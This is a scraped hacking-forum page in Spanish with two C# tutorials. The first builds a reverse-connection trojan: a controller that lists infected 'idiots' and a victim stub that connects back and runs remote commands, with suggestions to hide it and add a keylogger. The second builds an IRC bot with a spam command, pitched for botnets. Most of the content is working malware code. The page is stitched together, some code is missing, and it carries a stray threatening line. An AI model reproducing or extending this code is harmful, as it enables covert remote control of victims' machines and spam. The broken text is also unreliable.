<td>Body : </td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
[Titulo] : Creacion de un Troyano de Conexion Inversa [Lenguaje] : C# [Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion 0x02 : Creacion del servidor 0x03 : Creacion del cliente 0x04 : Probando el programa 0x05 : Bibliografia
-- =================--------
0x01 : Introduccion
Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos de conexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos. Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion inversa en C# pero gracias a un ejemplo llamado "Reverse Connection RAT Example" hecho por xSilent de hackhound logre entender el funcionamiento
Sabiendo todo esto vamos hacer uno en C# con Visual Studio 2010.
Comencemos ...
0x02 : Creacion del servidor
Primero vamos a crear el servidor de la siguiente forma con visual studio :
Una vez creado el proyecto pongan lo siguientes namespaces al inicio del codigo :
Código
usingSystem.Threading;// Lo usamos para poder manejar los hilos
usingSystem.Net.Sockets;// Lo usamos para poder crear la conexion
usingSystem.Net;// Lo usamos para poder crear la conexion
usingSystem.Text.RegularExpressions;// Lo usamos para buscar en los strings usando expresiones regulares
Despues pongan las siguientes variables gobales al inicio del codigo :
Código
TcpListener tcp_server;// Establecemos la variable tcp_server como TcpListener
Thread thread_server;// Establecemos la variable thread_server Thread
Ahora vamos a crear una clase llamada ServerManager con el siguiente codigo :
Código
// Server Manager
// Coded By Doddy Hackman
// Credits :
// Rat Based on : http://www.hackforums.net/showthread.php?tid=827069v
// Thanks to xSilent
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Net.Sockets;// Para el manejo de sockets
usingSystem.IO;// Para el manejo de Streams
usingSystem.Windows.Forms;// Para el manejo de formularios
usingSystem.Text.RegularExpressions;// Para el manejo de expresiones regulares
namespace server
{
class ServerManager
{
public TcpClient manager;// Variable global para manejar el cliente
publicstring ip;// Variable global para tener la IP
Match regex = Regex.Match(data, "-ACATOY-LLEGUE-ACATOY-", RegexOptions.IgnoreCase);// Usamos la expresion regular
// para controlar que se encuentre
// el texto "-ACATOY-LLEGUE-ACATOY-" en la variable string data
if(regex.Success)// Si se encuentra ...
{
Invoke(new _NewIdiot(NewIdiot),vengo);// Llamamos la funcion NewIdiot para agregar un cliente mas
}
regex = Regex.Match(data, "-RtaCommand-(.*)-RtaCommand-", RegexOptions.IgnoreCase);// Si encontramos una respuesta
// enviada por el servidor usamos la expresion regular para extraer la respuesta del servidor que esta entre los dos
// -RtaCommand-
if(regex.Success)// Si se encuentra ...
{
MessageBox.Show("[+] Status : "+regex.Groups[1].Value);// Mostramos la respuesta en MessageBox
}
}
delegatevoid _NewIdiot(ServerManager vengo);
void NewIdiot(ServerManager vengo)
{
ListViewItem agregar =new ListViewItem();// Creamos un item nuevo con la variable agregar
agregar.Text= vengo.ip;// Agregamos como texto la IP
agregar.Tag= vengo;// Agregamos como Tag los datos de "vengo"
listView1.Items.Add(agregar);// Agregamos el nuevo item a la lista
}
Todos estos pasos les deberia quedar asi :
Ahora vamos hacer doble click el segundo boton que tiene como texto "OpenCD" para poner el siguiente codigo :
Código
ServerManager manager =(ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag;// Capturamos el tag
// del item seleccionado por el usuario
manager.respondo_al_idiot("-Command-OpenCD-Command-");// Mandamos la orden OpenCD al infectado seleccionado en el
// listView
Despues vamos agregar el siguiente codigo al segundo boton con texto "CloseCD" :
Código
ServerManager manager =(ServerManager)listView1.Items[listView1.FocusedItem.Index].Tag;// Capturamos el tag
// del item seleccionado por el usuario
manager.respondo_al_idiot("-Command-CloseCD-Command-");// Mandamos la orden CloseCD al infectado seleccionado en el
// listView
Les deberia quedar algo asi los dos botones :
Eso seria todo en el servidor.
0x03 : Creacion del cliente
Ahora pasamos al cliente , para eso creamos un proyecto nuevo de la siguiente forma :
Una vez creado el proyecto establecemos los siguientes namespaces al inicio del codigo de la sguiente forma :
Código
usingSystem.Net.Sockets;// Lo usamos para el manejo de sockets
usingSystem.Net;// Lo usamos para el manejo de sockets
usingSystem.IO;// Lo usamos para el manejo de streams
usingSystem.Runtime.InteropServices;// Lo usamos para poder usar la funcion de abrir y cerrar la lectora
usingSystem.Text.RegularExpressions;// Lo usamos para las expresiones regulares
Despues de eso establecemos las siguientes variables globales con el siguiente codigo :
Código
[DllImport("winmm.dll", EntryPoint ="mciSendStringA")]// Importamos la dll winmm.dll para poder usar mciSendStringA
publicstaticexternvoid mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
// Establecemos la funcion mciSendStringA para poder abrir y cerrar la lectora
static TcpClient conexion_con_el_server =new TcpClient();// Declaramos como static la variable TcpClient de conexion_con_el_server
static IPEndPoint datos_para_la_conexion_con_el_server =null;// Declaramos como static la variable datos_para_la_conexion_con_el_server de tipo
// IPEndPoint y la seteamos como null
Ahora vamos al evento Load del formulario y ponemos el siguiente codigo :
Código
datos_para_la_conexion_con_el_server =new IPEndPoint(IPAddress.Parse("127.0.0.1"), 666);// Establecemos la variable datos_para_la_conexion_con_el_server
// como IPEndPoint con el valor de la IP y el puerto
entrar_al_servidor();// Realizamos la conexion
Despues del codigo del Load del formulario agregamos estas tres funciones vitales para la conexion las cuales manejan el tema de enviar y recibir datos del servidor :
Código
publicstaticvoid entrar_al_servidor()
{
try
{
conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server);// Conectamos al servidor con los datos del server
enviar_respuesta("-ACATOY-LLEGUE-ACATOY-");// Enviamos el mensaje ACATOY al servidor para decirle que hay un nuevo idiot
conexion_con_el_server.GetStream().BeginRead(newbyte[]{0}, 0, 0,leer_datos_del_servidor, null);// Capturamos todos los datos provenientes
// de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
StreamReader abriendo_conexion =new StreamReader(conexion_con_el_server.GetStream());// Usamos la variable abriendo_conexion
// de tipo StreamReader para poder leer los datos que vienen
string contenido = abriendo_conexion.ReadLine();// Ponemos los datos la conexion en la variable string contenido
Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase);// Usamos la expresion regular
// para verificar que nos envien la orden OpenCD
if(regex.Success)// Si pasa ...
{
mciSendStringA("set CDAudio door open", "", 127, 0);// Usamos mciSendStringA para abrir la lectora
enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-");// Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
}
regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase);// Usamos la expresion regular CloseCD para verificar que
// nos envien la orden de CloseCd
if(regex.Success)// Si pasa ...
{
mciSendStringA("set CDAudio door closed", "", 127, 0);// Usamos mciSendStringA para cerrar la lectora
enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-");// Le decimos al servidor que todo salio bien
}
conexion_con_el_server.GetStream().BeginRead(newbyte[]{0}, 0, 0,leer_datos_del_servidor, null);// Actualizamos los datos de la conexion
}
catch
{
//
}
}
publicstaticvoid enviar_respuesta(string texto)
{
try
{
StreamWriter enviar_respuesta_now =new StreamWriter(conexion_con_el_server.GetStream());// Declaramos la variable enviar_respuesta_now
// como StreamWriter para poder mandar un mensaje
enviar_respuesta_now.WriteLine(texto);// Mandamos el mensaje que tienen la variable string y argumento "texto"
enviar_respuesta_now.Flush();// Seteamos para que el mensaje se envie correctamente
}
catch
{
//
}
}
Con eso ya estaria listo el cliente.
0x04 : Probando el programa
Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat. Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.
Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven. Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos para hacking tools.
Comencemos ...
Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :
Con el proyecto ya creado pasemos al siguiente punto.
0x02 : Conectando con el servidor
Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :
Código
usingSystem.Net;// Lo usamos para realizar la conexion
usingSystem.Net.Sockets;// Lo mismo que la anterior
usingSystem.IO;// Lo usamos para el manejo con los streams
usingSystem.Text.RegularExpressions;// No es vital pero me encantan el uso de las expresiones regulares
Para poder realizar la conexion usamos los sockets de la siguiente forma :
Código
NetworkStream conexion;// Establecemos la variable conexion como NetworkStream
TcpClient irc;// Establecemos la variable irc como TcpClient
StreamReader leer_datos;// Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos;// Establecemos la variable mandar_datos como SteamWriter
string host ="localhost";// Establecemos la variable string host para tener el host del canal IRC
string nickname ="ClapTrap";// Establecemos la variable nickname con el nick del bot
string canal ="#locos";// Establecemos la variable canal con el nombre del canal
string code ="";// Creamos la variable string que vamos a usar para leer los sockets
irc =new TcpClient(host, 6667);// Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream();// Cargamos la conexion para poder leer los datos
leer_datos =new StreamReader(conexion);// Lo necesario para leer los datos de la conexion
mandar_datos =new StreamWriter(conexion);// Lo necesario para mandar comandos al canal IRC
mandar_datos.WriteLine("NICK "+ nickname);// Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush();// Actualizamos la conexion
mandar_datos.WriteLine("USER "+ nickname +" 1 1 1 1");// Usamos el comando USER para confirmar el nickname
mandar_datos.Flush();// ..
mandar_datos.WriteLine("JOIN "+ canal);// Usamos el comando JOIN para entrar al canal
mandar_datos.Flush();// ..
Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.
Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :
Código
while(true)// Mi bucle eterno
{
while((code = leer_datos.ReadLine())!=null)// Leemos la conexion con la variable code
{
Console.WriteLine("Code : "+ code);// No es necesario pero es para ver las respuestas del servidor
Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);// Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if(regex.Success)// Si se encontro algo
{
string te_doy_pong ="PONG "+ regex.Groups[1].Value;// Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong);// Mandamos el comando de la variable anterior
mandar_datos.Flush();// ..
}
}
}
Con esto ya estamos conectados.
0x03 : Listando usuarios
Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :
Código
staticstring[] usuarios;// Creamos el string[] usuarios para tener todos los nicks que estan en el canal
Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :
Código
regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);// Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if(regex.Success)// Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value;// Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' ');// Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach(string usuario in usuarios)// Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario);// Mostramos cada user
}
}
Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.
0x04 : Mandar mensajes
Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :
Código
PRIVMSG #locos Mensaje
Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :
Código
mandar_datos.WriteLine("PRIVMSG"+" "+ canal +" "+"Hi World");// Mandamos un mensaje al canal
mandar_datos.Flush();// ..
0x05 : Recibir privados
Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() :
Código
regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase);// Lo usamos para detectar los mensajes privados y publicos
if(regex.Success)// Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG"+" "+ canal +" "+"Hi World");// Mandamos un mensaje al canal
mandar_datos.Flush();// ..
string dedonde = regex.Groups[1].Value;// Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value;// El mensaje en si
if(dedonde != canal)// Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje);// Mostramos el dueño del mensaje y el mensaje
}
}
Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.
0x06 : Reconocer comandos
Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :
Código
regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase);// Lo usamos para detectar los mensajes privados y publicos
if(regex.Success)// Si se encontro algo
{
string dedonde = regex.Groups[1].Value;// Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value;// El mensaje en si
if(dedonde != canal)// Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase);// Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
if(regex_ordenes.Success)// Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG"+" "+ dedonde +" "+"[+] Sure");// Le decimos al nick dueño del bot que si
mandar_datos.Flush();// ..
System.Threading.Thread.Sleep(5000);// Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
// un mensaje al usuario especificado con el mensaje que pedimos
mandar_datos.Flush();// ..
mandar_datos.WriteLine("PRIVMSG"+" "+ dedonde +" "+"[+] Finished");// Le decimos al dueño del bot que terminamos
mandar_datos.Flush();// ..
}
}
}
Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.
0x07 : Testeando
Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :
Código
// Ejemplo de IRC Bot
// Written By Doddy Hackman in the year 2014
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Net;// Lo usamos para realizar la conexion
usingSystem.Net.Sockets;// Lo mismo que la anterior
usingSystem.IO;// Lo usamos para el manejo con los streams
usingSystem.Text.RegularExpressions;// No es vital pero me encantan el uso de las expresiones regulares
namespace irc
{
class Program
{
staticstring[] usuarios;// Creamos el string[] usuarios para tener todos los nicks que estan en el canal
staticvoid Main(string[] args)
{
NetworkStream conexion;// Establecemos la variable conexion como NetworkStream
TcpClient irc;// Establecemos la variable irc como TcpClient
StreamReader leer_datos;// Establecemos la variable leer_datos como StreamReader
StreamWriter mandar_datos;// Establecemos la variable mandar_datos como SteamWriter
string host ="localhost";// Establecemos la variable string host para tener el host del canal IRC
string nickname ="ClapTrap";// Establecemos la variable nickname con el nick del bot
string canal ="#locos";// Establecemos la variable canal con el nombre del canal
string code ="";// Creamos la variable string que vamos a usar para leer los sockets
irc =new TcpClient(host, 6667);// Realizamos la conexion con el canal usando el host y el puerto 6667
conexion = irc.GetStream();// Cargamos la conexion para poder leer los datos
leer_datos =new StreamReader(conexion);// Lo necesario para leer los datos de la conexion
mandar_datos =new StreamWriter(conexion);// Lo necesario para mandar comandos al canal IRC
mandar_datos.WriteLine("NICK "+ nickname);// Usamos el comando NICK para entrar al canal usando el nick antes declarado
mandar_datos.Flush();// Actualizamos la conexion
mandar_datos.WriteLine("USER "+ nickname +" 1 1 1 1");// Usamos el comando USER para confirmar el nickname
mandar_datos.Flush();// ..
mandar_datos.WriteLine("JOIN "+ canal);// Usamos el comando JOIN para entrar al canal
mandar_datos.Flush();// ..
while(true)// Mi bucle enterno
{
while((code = leer_datos.ReadLine())!=null)// Leemos la conexion con la variable code
{
Console.WriteLine("Code : "+ code);// No es necesario pero es para ver las respuestas del servidor
Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);// Detectamos el clasico PING para el PING PONG
// que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
// para ver que no estemos muerto o algo asi xD
if(regex.Success)// Si se encontro algo
{
string te_doy_pong ="PONG "+ regex.Groups[1].Value;// Capturamos lo que esta despues del ping y le damos al pong con los datos
mandar_datos.WriteLine(te_doy_pong);// Mandamos el comando de la variable anterior
mandar_datos.Flush();// ..
}
regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);// Capturamos los usuarios de todo el canal
// con el poder de las expresiones regulares
if(regex.Success)// Si los encontraron
{
string usuarios_lista = regex.Groups[4].Value;// Tenemos la variable con todos los nicks
usuarios = usuarios_lista.Split(' ');// Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
// cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
foreach(string usuario in usuarios)// Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
{
Console.WriteLine("[+] User : "+usuario);// Mostramos cada user
}
}
regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase);// Lo usamos para detectar los mensajes privados y publicos
if(regex.Success)// Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG"+" "+ canal +" "+"Hi World");// Mandamos un mensaje al canal
mandar_datos.Flush();// ..
string dedonde = regex.Groups[1].Value;// Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value;// El mensaje en si
if(dedonde != canal)// Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Console.WriteLine("[+] "+dedonde+" dice : "+mensaje);// Mostramos el dueño del mensaje y el mensaje
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase);// Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
no hago esto para infectar a nadie , solo me gusta programar todo tipo de cosas y publicar el codigo completo que es lo que siempre hago , el link que deje siempre estuvo igual con el proyecto de visual studio listo para ser abierto y leido , lo que edite fue el codigo aunque el stub no lo pude mostrar al foro porque es largo y se corta pues ya lo intente , pues si hay problema con eso les dejo ahora los codigos en pastebin.